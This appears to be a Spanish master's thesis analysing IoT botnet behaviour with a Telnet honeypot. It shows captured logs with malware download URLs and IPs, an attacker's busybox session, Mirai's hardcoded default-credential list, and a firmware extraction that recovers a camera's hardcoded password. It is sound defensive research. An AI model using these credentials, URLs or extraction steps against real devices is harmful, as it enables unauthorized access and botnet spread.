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El objetivo de este TFM es analizar el mundo de los 10T desde la perspectiva de
los honeypots, es decir, aprender cual es el punto de vista / modus operandis de los
atacantes, el comportamiento de las botnets y la relacién entre ellas, analizar el
ransomware que intentan instalarse en los dispositivos, desde su comportamiento
hasta de donde procede y por ultimo simular un dispositivo a partir de la informacién
de una auditoria para crear un honeypot y su sistema de explotacidn de la informacion.

Se han implementado dos honeypots, uno desarrollandolo a partir del informe
de auditoria de un dispositivo real. Con la informacién recolectada se han analizado los
comportamientos de las botnets existentes y de la batalla que existen entre ellas. Por
ultimo se ha demostrado que debido al estado de la seguridad de los ecosistemas loT,
los atacantes se centrar en dispositivos mas genéricos con el fin de aumentar el nimero
de dispositivos controlados pasando por alto los dispositivos menos comunes.




Abstract (in English, 250 words or less):

The objective of this Master’s Thesis is to analyze the world of the loT from the
perspective of the honeypots, to learn what is the point of view / modus operandis of
the attackers, the behavior of the botnets and the relationship between them, analyze
the ransomware that the attackers try to install in the devices, from their behavior to
where they come from and finally simulate a device from the information of a security
audit report from a device to create a honeypot and the framework to analyze the
information.

Two honeypots have been implemented, one developed from the security audit report
of a real device. With the information collected, the behavior of the existing botnets
and the battle between them has been analyzed. Finally it has been shown that due to
the security status of loT ecosystem, the attackers focus on more generic devices in
order to increase the number of controlled devices by the botnet ignoring the less
common devices.
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1. Introduccion

1.1 Contexto y justificacién del Trabajo

Recientemente han sucedido ataques de denegacidn de Servicio desde
ecosistemas loT que han generado picos de traficos nunca antes vistos, el origen de
estos ataques son dispositivos pertenecientes a este tipo de ecosistemas controlados
por botnets que combaten entre si para agregar dispositivos a sus dominios de control.

1.2 Objetivos del Trabajo:

El objetivo de este TFM es analizar el mundo de los loT desde la perspectiva de
los honeypots, es decir, aprender cual es el punto de vista / modus operandis de los
atacantes, el comportamiento de las botnets y la relacion entre ellas, analizar el
ransomware que intentan instalarse en los dispositivos, desde su comportamiento hasta
de donde procede y por ultimo simular un dispositivo a partir de la informacién de una
auditoria para crear un honeypot y su sistema de explotacién de la informacién.

1.3 Enfoque y método seguido:

Con el fin de cumplir estos objetivos los primeros pasos han estado orientados al
analisis y definicién de los ecosistemas loT, las razones de su importancia, los ambitos
de uso, el estado del nivel de seguridad y cual es el futuro de este tipo de ecosistemas.

Una vez realizada esta fase de investigacién, se ha procedido a implantar un
honeypot para dispositivos 10T del cual se han analizado las conexiones recibidas para
analizar el comportamiento de las botnets que atacan este tipo de dispositivos.

Por ultimo conociendo los factores anteriormente explicados, y basandose en un
informe de auditoria de un dispositivo 10T se ha desarrollado un honeypot simulando
este dispositivo, estableciendo un entorno de explotacion de la informaciéon para
analizar los resultados y detectar si existen diferencias en la interaccidon de los atacantes
con el honeypot respecto al primero que se ha implantado.
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2. Estado del arte

2.1. Ecosistemas loT

éQué es loT?

Se define un ecosistema loT como un sistema intercomunicado de dispositivos
con sensores para captar informacién que otros objetos consumirdn, estando
comunicados entre ellos, de esta manera no es necesaria una comunicaciéon donde
interviene el usuario sino que serd una comunicacién maquina-a-maquina (M2M).

éSectores donde encontrar loT?

En la actualidad se puede leer constantemente noticias sobre ecosistemas loT,
pero es importante saber en qué sectores hacen presencia este tipo de soluciones, por
los que se van a presentar a continuacién ejemplos.

- Agricultura y Ganaderia:

Permite la optimizacién de procesos y tiempos mediante la recoleccion de datos
como el suelo, clima, datos meteoroldgicos... De esta manera se pueden predecir plagas,
fallos en maquinaria, control mas estricto del ganado [3]. Ejemplo: Sistemas de riegos
mejorados [4]

- Marketing:

Los sensores incorporados a los diferentes dispositivos que utilice el consumidor
recogen informacion sobre sus gustos/necesidades con los cuales se utilizan para
desarrollar un perfil de consumidor y sugerirle productos adecuados a su necesidad
fomentando el consumo. [5]

Por ejemplo, una pulsera Fitbit recoge informacién sobre la actividad del
usuario, su alimentacioén y habitos de dormir, un smartwatch dispone de la informacion
de las redes sociales y contactos del usuario.

- Turismo / Hoteles

Mediante el uso de sensores se puede mejorar la experiencia de un cliente en el
hotel respecto al confort y calidad de la estancia, reduciendo a su vez los costes de
mantenimiento y reparacion del mismo.
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-Smart Cities/Building

En estos casos se centra en reducir el gasto energético de las ciudades y edificios
a la vez de mejorar su mantenimiento y calidad de servicio mediante el uso de la
informacién que envian los sensores, de esta manera se le proporciona un mayor nivel
de confort al ciudadano o usuario de los servicios de los que dispone la ciudad como el
sistema de alquiler de bicis.

-Industria

Un sector donde existen muchas posibilidades de aplicacién de loT como por
ejemplo el seguimiento de activos dentro de fabricas para analizar y mejorar los
procesos de la empresa ademds de la mejora del mantenimiento de los diferentes
elementos que intervienen.

Como se puede ver, la muestra otorgada de los sectores donde existen
soluciones loT es variada y de diferentes dmbitos, estos son solo algunos. Las
implementaciones de ecosistemas loT en cada sector dispone de un gran abanico de
posibilidades y se van investigando mas aplicaciones con el tiempo como demuestran
las tendencias explicadas a continuacién.

éTendencia y estado de los ecosistemas loT?

Para hacerse una idea del estado de los ecosistemas loT se van a presentar unas
cifras que demuestran la tendencia que esta tomando y el estado actual en el que se
encuentra.

En el 2015 se calculé que alrededor de 10 mil millones de dispositivos estaban
conectados a Internet sin tener en cuenta a que ecosistema pertenecian, es decir, sin
determinar si eran dispositivos loT o no.

En el 2017 se calculd que existen alrededor de 9 mil millones de dispositivos loT
conectados a Internet y segun los andlisis de Businnesinsider[1] se calcula que para el
2025 la cifra ascienda a 55 mil millones mientras que segun otros informes de Calsoft[2]
se estima que para el 2020 existiran 24 mil millones, a pesar de la diferencia de estos
informes, se demuestra que tienen una tendencia incremental notable.
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Esta tendencia se ve respaldada por el mercado, ya que seglin los mismos
informes se prevé una inversion de alrededor de 15 billones en este sector, por lo que
se demuestra que las empresas han analizados los beneficios que derivan de estas
soluciones y estan acelerando la inversidn en estos ecosistemas.

éSon los ecosistemas loT seguros?

No, en Octubre del 2016 se hizo patente lo inseguro de estos ecosistemas
llevdndose a cabo el mayor ataque de denegacién de servicio DoS con picos de 1.2Tbps
utilizando 1.2 millones de dispositivos loT contra los servidores DNS de Dyn dejando sin
servicio a todos sus clientes con grandes pérdidas econdmicas. Este ataque provenia de
dispositivos de seguridad como cdmaras de seguridad, routers en domicilios, baby cams
y otros tipos de dispositivos. Esta botnet todavia sigue activo con alrededor de 166.000
dispositivos en la actualidad y se estima que en el futuro aparecerdn nuevas botnets
mejorando las presentes.

2.2 Honeypots loT

Existen muchos honeypots para loT implementados pero para la realizacion de
este trabajo se ha basado en el T-Pot, que mediante Docker permite implementar varios
honeypots simulando diferentes servicios e incluye una plataforma de explotacién de
datos, que es en la que se ha basado el trabajo incluyéndola en el honeypot
desarrollado, salvo que esta mejorada afiadiendo nuevos médulos y mejorando
funciones.

Para introducir y comprender como funcionan estos honeypots durante el
trabajo se ha implantado un honeypot ya desarrollado que se analizara a continuacién.
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3. Analisis primer honeypot

Como se ha explicado anteriormente durante esta fase se ha implantado un
honeypot conectado a Internet para poder analizar el trafico que recibe, en esta seccién
se explica que honeypot se ha utilizado y que herramientas se han utilizado para analizar
dicha informacion.

3.1 Telnet loT Honeypot

Este honeypot, escrito en Python, emula un servicio Telnet que admite cualquier
usuario y contrasefia como credenciales de autenticacion. Cuando un cliente se conecta
al honeypot se le ofrece una sesién simulada en un dispositivo Raspberry Pi donde
dispone de unos determinados comandos que puede utilizar, toda la informacién de la
conexidn queda registrada y almacenada en una BD a la que se puede acceder desde un
navegador mediante un interfaz.

Consta de dos partes, cliente y backend, el cliente que simula el servicio Telnet
junto con su Shell y el backend que almacena la informacion sobre los usuarios que se
conectan junto a su interaccion con la Shell, a continuacién se explica la configuracién
para su utilizacién.

3.1.1 Cliente

Para la configuracion del cliente lo primero que se recomienda es configurar el
honeypot para que escuche conexiones en el puerto propio de telnet, puerto 23 ya que
por defecto esta configurado para hacerlo en el 2223, esto incrementa las posibilidades
de que atacantes y dispositivos que formar parte de botnets se conecten, para eso se
modifica el fichero honeypot.py sustituyendo:

srv = Telnetd(2223) => srv =Telnetd(23)

Con el fin de recibir conexiones provenientes de Internet en la maquina que
alberga el honeypot es necesario redirigir el trafico del puerto TCP 23 en el router NAT
para que lo envié al honeypot, de esta manera se consigue que las conexiones entrantes
desde Internet alcancen el honeypot en la red Interna, se recomienda implementar el
honeypot en una equipo aislado o en una maquina virtual para aumentar el nivel de
seguridad y si es posible en una red aislada.
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3.1.2 Backend

No necesita configuracidn inicial pero existe la opcidn de modificar algunos
parametros en el fichero “config.dist.yam!” como la de especificar una ruta para guardar
los logs, activar la opcidn de subir las muestras que se intenten descargar a VirusTotal
mediante la API ( es necesario introducir la API key).

3.1.3 Interfaz Honeypot

Al ejecutar el backend se levanta un interfaz web en el puerto 5000 donde se
puede observar toda la informacidn recopilada por cada una de las conexiones, a
continuacion se explica cada una de las secciones de las que dispone el interfaz.

Existe un panel principal donde se muestra la informacién recopilada mas
recientemente para poder saber cudl es el estado presente del honeypot como se
observa en la siguiente Figura 1, en este panel se muestran las ultimas urls desde donde
se ha intentado descargar el malware, las ultimas muestras de malware que se han
intentado descargar desde esas urls, las ultimas conexiones que ha recibido y un grafico
gue muestra los paises desde donde proceden las conexiones.

@ Telnet-lot-Honeypot

@ 0.0.0.0 80% e @ T
Urls  Samples  Connections  Tags  Admin
Telnet- Iot—Honeypot Python honeypot for catching botnet binaries ,
4 -
This is the start page of this installation of the Telnet-lot-Honeypot.
More info: https //github. com/Phypeteinet-iot-honey pot
Latest Urls
url Date Sample N°® Connections
http://189.29.11.46:20083/.i 25.4 15:42 al4ac6d98adagodi... 1
telnet=//188.4.174.50/abaadd0d 254 14:34 abaadd0db33a135! 1
hittp://179.108.217.151:33394/.i 254 14:32 al4ac6d98ada8931 1
titp://177.94.160.76:32885/.i 25.4 14:28 al4ac6d98adagodt 1
hittp://82.77.202.154:32278/.1 12.4 16:33 al4ac6d98ada8931 1
Latest Samples
SHA256 Name Size (Bytes) First Seen N° Urls
aBaadd0db293a1356 s 480 254 14:34 1
6c3b755b30d31c19 s 480 12.4 16:23 1
df6782f3eee3b456... 8UsA.sh 4312 12.4 15:54 1
Latest Connections more
Date Country Username Password N° Urls
2541 =g US admin admin 2
25.4 1 & US admin admin 2
2541 T root Zte521 2
25.4 15:55 - JP root Zte521 o
25.4 15:42 L1 FR root admin 1
25.4 15:40 = IN root 888888 o
25.4 15:29 my US admin admin 2
25.4 15:02 & US admin admin 2

All Connections by Country
Click on country to see all connections

Figura 1 Interfaz Principal del Honeypot
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En la seccidn de Urls, Figura 2, se presenta un listado de las url, dentro de cada
una se puede obtener mas informacidn sobre que conexiones intentaron conectarse a
la url para la descarga del malware, donde se encuentra el servidor que hospeda el
malware, su AS, los credenciales utilizados para iniciar la sesién Telnet...

@ Telnet-lot-Honeypot Urls Samples Connections Tags Admin
s

Urls

Country Url Date Sample N° Connections
4 http://189.29.11.46:20083/.i 25.4 15:42 a04ac6d98ad98931 .. 1
=4 telnet://188.4.174.50/a6aadd0d 25.4 14:34 abaadd0db93a1356... 1
=4 http://179.108.217.151:33394/ i 25.4 1420 AN AAAEANO~AN00D 4 g
Telnet- lot-Honeypot S eckion
=4 tftp://177.94.160.76:32885/.i 25.4 1
4 http://82.77.202.154:322781.i 1241 URL Info
4 tftp://88.250.93.224:54385/ i 1241 W p82202235 208U sh
Fst seen 1241554
4 telnet://201.26.88.72/6¢3b755b 241 = _
lesohves to s Russian Federation 4
- http://82.202.235.20/8UsA.sh 12.4 1 rov iy RN
P-4 tftp://62.219.110.120:40316/.] 1241 gample
- http://73.43.86.218:44150/.i 1241  Fotseen 241554
- tftp://65.129.37.143:12982/ i R e —
Fie size 4312 Bytes
= '@' tﬁpﬁ/“.“"87.1 25.120.244:34791/.i 1241 SHA256 d1678213e2e3b456b860b2d3bbld8ab84286ea0aleBH70a05832b026¢H19226
~ L http://1.165.79.31:45235/.i 1241 Vool Nt Scarned o
4 http://88.249.228.152:45552/.i 12.41  Connections included this URL
- tftp://1.34.209.99:44103/.i 1241 ™ ° remane Fresword
241554 193.238.176.61 root
=¢ http://122.164.217.193:5007/.i 12.41 241554 193.238.176 61 mg3s00
124 1554 193.238.176 61 oot

Figura 2 Seccién Urls del Honeypot
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En la seccidon Samples, Figura 3, se puede observar las muestras de malware que
se han intentado descargar mediante los comandos wget y tftp de las diferentes urls,
como las muestras pueden tener diferentes nombres siempre se identifican por su
sha256, dentro de cada una de ellas se dispone una lista de todos los servidores que
distribuyen la muestra y las cabeceras HTTP utilizadas al conectarse con el servidor como
se aprecia en la Figura 4.

Samples

SHA256 Name Size (Bytes) First Seen N° Urls
abaadd0db93a1356b03aa3d11a0albb2acf1a2c04de3e67ae2fe167b75a57d87 S 480 25.4 14:34 1
6c3b755b30d31c19e96a54786c94cc740e718ebd1 afe33fc7249e8d87c3df99b 5 480 12.4 16:23 1
df6782f3eee3b456b86cb2d3bbfd8ab84286ealafe8f70a05832b026¢f19226 8UsA.sh 4312 12.4 15:54 1
12008ebddbf7adc919d43cd65ac3d53f5f440f775903dad0d78f71db5f6bdfc S 480 12.4 09:56 1
3304ad0eec26a947b01bad7bfe9d5f29f1c98bbaBcbefd7afdf9dar5a0c77652 5 480 12.4 09:25 1
b5ec928ab7c962f8a39d700ade3b11862045b6e85ddcde150¢832ac7039658dc mirai.arm 60804 12.4 09:12 1
e0ff35e45c5187b4031ff0f3f1d423a8e188751d71c2148ebfe1feab3f9ad60e mirai.arm7 70928 12.4 09:12 1
09935223e56168117ec31e6c14235¢019453ec251bf38f9e1166c571dda350c9 S 480 12.4 05:36 1
fdae5c28a636b2e84e6cch147d2410dab3c6d78cc366dd8d5d470b07b7b2352b 5 480 12.4 04:07 1
ef5f4035521e2e53e9c6224a7a3a236acaefBf7e81493fcfa34c2556521e1fd1e 5 480 11.4 15:50 1
b2a289532fb99719f2a9e0ce5b091df5d505308ff2dcBe2f44e79e9391461d9a S 480 11.4 15:23 1
5132a1f6d373f058e01ddc2cdd773be6330e4f0679e7ef66e72872255ab130e kys.arm4 40212 11.412:46 1
963744767c0ba5c23049fe3ee50e0be929ccdf83ccdade84b7219chc978500c9 kys.armé 38224 11.4 12:46 1
a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daal3de3 A 80280 11.412:11 22

Figura 4 Cabeceras HTTP del servidor que aloja el malware

Download Info

HTTP 280

Date: Thu, 12 Apr 2018 19:54:22 GMT

Server: Apache/2.4.6 (Cent0S)

Last-Modified: Tue, 27 Mar 2018 10:07:57 GMT
ETag: "86c-56862109388d1"

Accept-Ranges: bytes

Content-Length: 2156

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-sh
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Por ultimo en la seccidon Connections, Figura 5, se dispone de un listado con las
conexiones recibidas ordenadas cronolégicamente, mostrando los diferentes
parametros de la conexién, desde la IP que origina la conexién, el ASN desde donde se
recibe, el pais de origen, los credenciales utilizados y las Urls que han utilizado mediante
los comandos disponibles.

@ Telnet-lot-Honeypot ~ Urls  Samples | Connections Tags  Admin

Connections

Filters: @

Date IP ASN Country Username Password
25.416:22 198.98.62.237 4 53667 4 m US 4 admin 4 admin 4
254 15:55 108.98.62.237 4 53667 4 == US 4 admin <> admin 4
25.415:55 80.211.168.74 4 31034 < T4 root 4 Zte521 4
25.4 15:55 42.146.67.24 4 9824 4 o P4 root 4 Zte521 4
25.4 1542 77.159.74.137 % 15557 4 [IFR4 root 4 admin 4
25.4 1540 103.36.48.140 4 45433 4% = IN¢ root 4 838888 4
2541529 198.98.62.237 4 53667 4 = US 4 admin < admin 4
25.415:02 198.98.62.237 4 53667 4 = US 4 admin 4= admin 4
25.414:35 198.98.62.237 4 53667 4 =5 US 4 admin 4 admin 4
25.414:34 188.4.174.50 4 1241 4 =GR 4 admin 4 4
25.414:32 37.1.31.168 4 34456 4 wm RU 4 guest 4 guest 4
25.414:28 180.79.233.36 4 27699 4 mEBR 4 root 4 qazxsw 4
25.414:23 80.211.168.74 4 31034 4 T4 admin 4+ 1234 4
25.414:23 42.232.133.41 4 4837 4 B CN 4 admin 4+ 1234 4
254 14:20 80.211.168.74 4 31034 4 T4 support <4 support 4
25.414:19 123.12.18.87 4 4837 4 @ CN 4 support 4 support 4
25.414:19 187.95.108.71 < 14868 4 EBR 4 admin 4+ admin <

Figura 5 Seccion Connections del Honeypot
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Si el usuario selecciona la fecha de una conexién puede sacar toda la informacion
relativa a esta, y lo que es mas importante, las comandos y las acciones que ha realizado
el atacante pudiendo ver el input y el output que ha generado el honeypot, que es igual
de importante, ya que se debe conocer la informacién que posee el atacante en todo
momento, como se muestra en la Figura 6.

@ Telnet-lot-Honeypot ~ Urls  Samples  Connections ~ Tags  Admin

Connection Info

Date 25.4 16:22
Duration 7.252 seconds
P < m= United States

4 198.98.62.237
4 AS53667 PONYNET - FranTech Solutions, US

198.98.48.0/20
User : Password < "admin" : "admin” 4
URLSs gathared
url First Seen Sample
http://198.98.62.237:80/bins/mirai.arm 12.4 09:12 b5ec928ab7c96218...
http://198.98.62.237:80/bins/mirai.arm7 12.4 09:12 e0ff35e45c5187b4...

Session text show output

Session Text does not include non-ascii characters
# enable
enable: command not found
# shell
shell: command not found
# sh
# /bin/busybox ECCHI
ECCHI: applet not found
# /bin/busybox ps; /bin/busybox ECCHI
PID TTY TIME CMD
6467 pts/0 00:00:00 sh
12013 pts/0 00:00:00 ps
ECCHI: applet not found
# /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
/dev/root /rom squashfs ro,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,noatime 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,noatime 0 0

Figura 6 Informacion relativa a una conexion IP
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3.2 Auditoria Telnet loT Honeypot

En esta seccidn se va a comprobar que informacién dispone un atacante al
conectarse al honeypot, con este fin se ha realizado una pequefia auditoria al dispositivo
para comprender su comportamiento

Se inicia mediante Python el Backend y el Cliente después de la etapa de
configuracion, para comprobar que esta todo correcto se debe iniciar una conexién
telnet hacia la direccion IP publica donde se aloja el honeypot.

Nmap responde que el servicio que ofrece el honeypot es efectivamente Telnet,
como se observa en la Figura 7, pero desconoce de qué aplicacidn se trata, informacién
que se obtiene con el comando “nmap —sS —sV —p23 <IP>”

Starting Nmap 7.01 ( https://nmap.org ) at 2018-05-12 16:48 CEST

Nmap scan report for localhost (127.0.0.1)

Host 1s up (0.000058s latency).

PORT  STATE SERVICE VERSION

23/tcp open telnet

1 service unrecognized despite returning data. If you know the service/version

n/submit.cgi?new-service :

SF-Port23-TCP:V=7.01%I=7%D=5/12%Time=5AF6FEB4%P=x86_64-pc-linux-gnu%r (NULL
LA, "\xff\xfd\x01Login:\x20" )%r(GenericLines,41,"\xff\xfd\x01Login:\x20P
:assword:\x20\r\nWelcome\x20to\x20EmbyLinux\x203\.13\.0-24-generic\r\n\x
:20#\x20" )%r (tn3270,A, "\xff\xfd\x01Login:\x20" )%r(GetRequest,41,"\xff\xf
:d\x01Login:\x20Password:\x20\r\nWelcome\x20to\x20EmbyLinux\x203\.13\.0-
:24-generic\r\n\x20#\x20" )%r (RPCCheck,A,"\xff\xfd\x01Login:\x20" )%r(Help
1,14, " \xff\xfd\x01Login:\x20Password:\x20" )%r(SIPOptions,171,"\xff\xfd\x
:01Login:\x20Password:\x20\r\nWelcome\x20to\x20EmbyLinux\x203\.13\.0-24-
:generic\r\n\x20#\x20sh:\x20syntax\x20error\x20near\x20unexpected\x20tok
:en\x20 " \x20'\n\x20#\x20sh:\x20syntax\x20error\x20near\x20unexpected\x20
:token\x20 \x20'\n\x20#\x20Call-ID: :\x20command\x20not\x20found\n\x20#\x
:20CSeq: : \x20command\x20not\x20found\n\x20#\x20Max-Forwards: : \x20command
:\x20not\x20found\n\x20#\x20Content-Length: :\x20command\x20not\x20found\
:n\x20#\x20sh:\x20syntax\x20error\x20near\x20unexpected\x20token\x20 " \x2
:0'\n\x20#\x20Accept: :\x20command\x20not\x20found\n\x20#\x20\x20#\x20" )%
:r(NCP,A, "\xff\xfd\x01Login:\x20");

Figura 7 Nmap del Honeypot

Para su ejecucién este honeypot simula disponer del software Busybox, este
software proporciona diferentes comandos UNIX en un Unico ejecutable localizado en
/bin/busybox, de esta manera se puede ejecutar “Is” mediante “/bin/busybox Is”. En la
realidad este software implementa alrededor de 300 comandos, el honeypot apenas
dispone de unos pocos comandos. El atacante dispone de los comandos tftp y wget para
descargar malware en el dispositivo pero el honeypot no permite ejecutar ningun
archivo.
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Cuando un atacante inicia sesidn su primer objetivo es saber de qué dispositivo
se trata, para hacerlo una opcién de la que dispone es acceder al fichero /proc/cpuinfo,
el honeypot se aprovecha de esto devolviendo una respuesta falsa para aparentar de
gue se trata de una Raspberry pi como se aprecia en la Figura 8, lo mismo sucede con el
hardware del sistema mediante /proc/mounts. Se recomienda cambiar el Serial a uno
gue no sea todo ceros para aumentar la credibilidad del honeypot.

"/proc/cpuinfo™: """processor HC ]
model name 1 ARMve-compatible processor rev 7 (vel)
BogoMIPS 1 697.95
Features : half thumb fastmult vfp edsp java tls

CPU implementer : &x41
CPU architecture: 7

CPU variant T Ox0

CPU part 1 exb7e

CPU revision v

Hardware : BCM2835

Revision : PeBe

serial . PPPOPRREEREEEEEB\N""",

Figura 8 Respuesta Honeypot cpuinfo simulando Raspberry

3.3 Analisis datos loT

Durante esta seccion se procede a explicar los procedimientos seguidos vy
herramientas utilizadas para analizar los datos recopilados por el honeypot.

3.3.1 Herramientas utilizadas

Neo4j: Con el fin de obtener los patrones que se repiten entre las conexiones
gue recibe los honeypots, ya que se sospecha que mucho del trafico sea proveniente de
redes botnet que intentan expandir el nimero de dispositivos controlados, se utiliza
esta herramienta de bases de datos orientada a grafos implementada en Java, la
informacién se almacena de forma relacionada para formar un grafo dirigido entre
nodos y las relaciones entre ellos, de esta manera es posible detectar los
comportamientos anteriormente comentados.

Para crear el grafo en Neo4j lo primero que se necesita es extraer el archivo .db
SQLite del honeypot que almacena toda la informacién de las conexiones, se exporta la
informacién que se considere, mediante consultas SQL, a un archivo en formato .csv
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para luego importarlo desde la propia interfaz de Neo4j, de esta manera se genera el
grafo que ayudara al analista a detectar patrones entre las relaciones y sacar nuevas
conclusiones. Las consultas SQL utilizadas y los comandos utilizados en Neo4j para
importar los datos del archivo del csv se adjuntan en el Anexo.

3.3.2. Andlisis de credenciales

Se han extraido los credenciales utilizados por las diferentes conexiones con el
objetivo de analizar cuales son los mas utilizados y las razones de utilizar dichos
credenciales. Es bien conocido que uno de los mayores problemas de seguridad que
presentan los dispositivos 10T son los credenciales por defecto y los credenciales
hardcodeados en su cédigo firmware, reflejado en la guia OWASP dentro de las
superficies de ataque de los dispositivos loT.

Si un dispositivo que presenta credenciales por defecto estd conectado a Internet
cualquier atacante puede iniciar una sesién con dichos credenciales, la solucién a este
problema es por ejemplo obligar al usuario a cambiar la contrasefia al iniciar el
dispositivo o generar usuarios y contrasefias diferentes por dispositivos mediante
criptografia.

En cambio existe un problema mas severo, cuando el firmware contiene los
credenciales hardcodeados, ya que el firmware deberd actualizarse para solucionar este
tipo de problema porque aunque el usuario cambie la contrasefia, siempre que el
dispositivo se resetee mantendra la contrasena harcodeada de fabrica.

Una vez analizados los datos, que se incluyen en el fichero anexo al proyecto
sobre los credenciales utilizados, se determina que el 90% de los credenciales recogidos
provienen de credenciales utilizados en la botnet Mirai o son credenciales por defecto
conocidos en telnet. Para agravar el problema se ha descubierto que segun se
encuentran nuevos credenciales por defecto en dispositivos se generan nuevas
versiones del malware que los incluyen para aumentar el ratio de infeccién del malware
e infectar nuevos dispositivos uniéndolos a la botnet.

En el propio cédigo liberado de Mirai se pueden observar en la Figura 9 los
credenciales que se usaban en las primeras versiones, harcodeadas en hexadecimal
dentro del médulo scanner.
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// Set up passwords

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); /1 root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C" , "\x43\x46\x4F\x4B\x4C", 7); admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); 888888
add_auth_entry("\x50\x4D\x4D\x56" , "\xS5A\x4F\x4A\x46\x4B\x52\x41", 5); xmhdipc
add_auth_entry("\x50\x4D\x4D\x56" , "\x46\x47\x44\x43\x57\x4E\x56", 5); default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x18\x11\x16\x17\x14", 5); /1 root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); /1 root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x508\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry ("3 6\ xdF \oedB\edC" , "\ 25243\ %51\ %51\ %55\ x40\ x50 \x46" , 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); /1 root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x18\x11\x16\x17", 4); // root 12345
add_auth_entry("\S57\51\xd7\x50" , "\x57\x51\x47\x50", 3); /[ user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50%AD\x4D\x56" , "\x52\x43\x51\x51", 3); [/ root pass

Figura 9 Credenciales en el cédigo de Mirai

Ante la duda que suscita si es dificil extraer una contrasefia hardcodeada del
firmware de un dispositivo, se ha analizado el caso de la cdmara Tenvis IP, cuyo firmware
esta publico en la pagina web del fabricante, ya que segun la guia OWASP para analizar
firmware el primer paso para intentar obtenerlo es acudir a la propia web del fabricante,
el segundo capturarlo durante una actualizacion y por dltimo el mas dificil es extraerlo
directamente del hardware, mas conocida esta técnica como hardware hacking.

Siguiendo las indicaciones de la guia OWASP, se utiliza binwalk sobre el archivo
.bin correspondiente del firmware que devuelve su contenido mostrando en decimal y
hexadecimal el offset donde comienzan los ficheros, Figura 10. EL funcionamiento de
binwalk es simple, escanea el fichero buscando firmas hexadecimales de los diferentes
fabricantes para identificar el sistema y los tipos de ficheros.

:~/Firmware# binwalk '/root/Firmware/IPC V.1.7.20 HW-V1.4 08-02.bin’

DECIMAL HEXADECIMAL DESCRIPTION

ulm d 5 RC: OXBEBOGBAA,
ion type: 1 5
LZMA compre L E roper : dictionary size: 3355
e,

OXEQOBO8 Squashfs fil stem, little endian, non-standard signatur v

Figura 10 Utilizacién binwalk sobre firmware

Se puede observar en la Figura 11 que hay un sistema de archivos comprimido
“Squashfs filesystem” por lo que siguiendo la guia OWASP se debe extraer el squashfs
file system con dd para luego descomprimirlo con la herramienta unsquashfs. Se le
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indica con el parametro skip el decimal donde comienza el squashfs filesystem para que
extraiga solo desde ese punto del fichero.

:~/Firmware# dd if='/root/Firmware/IPCUpdateC V.1.7.20 08-02.bin' of=fs2.bin bs=1 skip=917512

12879490+0 registros leidos

i2879490+0 registros escritos
2879490 bytes (2,9 MB, 2,7 MiB) copied, 2,93982 s, 979 kB/s

Figura 11 Extraccion del squashfs file system

Una aproximacion burda pero que en este caso ha funcionado es, una vez
estamos en el sistema de ficheros descomprimidos, mediante la herramienta grep
buscar la palabra ‘pass’ en todo el arbol de ficheros, se ha encontrado el fichero
internet.sh que contiene los credenciales hardcodeados, Figura 12, por lo que todos
dispositivos de este modelo generan los mismos credenciales con los que el atacante se
puede autenticar.

genSysFiles()
{

#login="nvram get 2860 Login’

#pass= nvram get 2860 Password’

login="admin"

pass="ipcam"

if [ "$login" != "" -a "$pass" != "" ]; then

echo "$login::0:0:Adminstrator:/:/bin/sh" > /etc/passwd

echo "$login:x:0:$login" > /etc/group
chpasswd.sh $login $pass

fi

#1f [ "$CONFIG PPPOL2TP" == "y" ]; then
#echo "12tp 1701/tcp 12f" > /etc/services
#echo "12tp 1701/udp 12f" >> /etc/services
#1i

Figura 12 Credenciales hardcodeados en el firmware

La segunda opcidn es capturar el firmware durante una actualizacién del
dispositivo ya que se descarga desde Internet y se puede capturar el trafico mediante
diferentes técnicas o conectarse al servidor que aloja el recurso si es posible.
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La opcion de hardware reversing es la que presenta un mayor grado de dificultad
ya que el fabricante dispone de un gran nimero de contramedidas para evitar que
alguien copie el firmware o el propio dispositivo, incluyendo otros fabricantes.

3.3.3 Andlisis de las muestras

Mediante la herramienta Neod4j se ha realizado una primera aproximacion
mediante el siguiente grafo que se aprecia en la Figura 13, la manera de importar los
datos del Honeypot a Neo4j estd en el Anexo.

$ CALL db.schema
@ Sample(1)
Graph
Table
Sample
<>
Code
A,
4 2 T N
C')-“—g\ & 2, &

Figura 13 Esquema del grafo
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Mediante la siguiente consulta se obtiene las muestras mas populares respecto
al mayor nimero de urls desde donde se han intentado descargar al igual que el mayor
numero de IPs, ya que mismas urls pueden tener el mismo servidor con la misma IP.

MATCH (x:Sample)-[r:HOSTED_AT]-(y:Url)-[:SERVER_IP]-(z:Ip)

RETURN x.sha256, COUNT(y) AS urls, COUNT (z) AS Ips

ORDER BY COUNT(y) DESC

muestra.sha256 urls Ips
"a04ac6d98ad989312783d4fe3456¢53730b212c79a426fb215708b6c6daa3de3" 21 21
"f5132a1f6d373f058e01ddc2cdd773be6330e4f0679%7ef66e72872255ab130e" 1 1
"6¢c3b755b30d31c19e96a54786c94cc740e718ebdl1afe33fc7249e8d87c3df99b" 1 1
"963744767c0ba5c23049fe3ee50e0be929ccdf83ccdade84b7219cbc978500c9" 1 1
"b2a289532fb99719f2a9e0ce5b091df5d505308ff2dc6e2f44e79e9391461d9a" 1 1
